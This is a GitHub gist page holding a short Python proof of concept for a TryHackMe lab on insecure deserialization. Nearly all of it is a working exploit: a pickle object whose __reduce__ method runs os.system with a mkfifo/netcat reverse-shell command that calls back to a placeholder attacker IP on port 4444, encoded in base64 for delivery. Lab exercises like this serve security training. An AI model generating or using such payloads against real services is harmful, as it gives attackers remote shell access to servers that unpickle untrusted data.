Skip to content

Instantly share code, notes, and snippets.

@Zinkuth
Forked from CMNatic/cloudSettings
Created July 21, 2020 07:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Zinkuth/17b5e6c36de57059ad4ccbf80e4dfa75 to your computer and use it in GitHub Desktop.
Save Zinkuth/17b5e6c36de57059ad4ccbf80e4dfa75 to your computer and use it in GitHub Desktop.
TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment